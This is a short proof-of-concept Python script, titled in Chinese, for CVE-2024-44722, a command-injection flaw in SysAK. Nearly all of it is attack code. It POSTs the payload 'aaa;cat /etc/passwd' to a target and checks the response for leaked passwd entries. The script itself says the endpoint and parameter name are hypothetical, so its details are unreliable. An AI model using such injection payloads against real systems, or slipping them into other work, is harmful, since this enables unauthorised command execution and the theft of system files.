CVE-2024-44722 SysAK远程命令执行漏洞

# PoC for CVE-2024-44722 (SysAK Remote Command Execution) # This script demonstrates the command injection vulnerability. import requests def exploit(target_url): # The vulnerable parameter accepts arbitrary input without sanitization # Payload uses ';' as a command separator to chain commands payload = "aaa;cat /etc/passwd" # Assuming the vulnerable endpoint accepts a POST request (adjust based on actual service) # The parameter name 'param' is hypothetical and represents the vulnerable input field data = { "param": payload } try: print(f"[*] Sending payload to {target_url}...") response = requests.post(target_url, data=data, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response output:") print(response.text) # Check if the command execution evidence exists in response if "root:" in response.text: print("[!] Vulnerability confirmed: /etc/passwd content leaked.") else: print("[-] Could not confirm execution in response (might be blind or different parameter).") else: print(f"[-] Server returned status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"Error connecting to target: {e}") if __name__ == "__main__": # Replace with the actual target IP and vulnerable endpoint target = "http://127.0.0.1:8080/api/vulnerable_endpoint" exploit(target)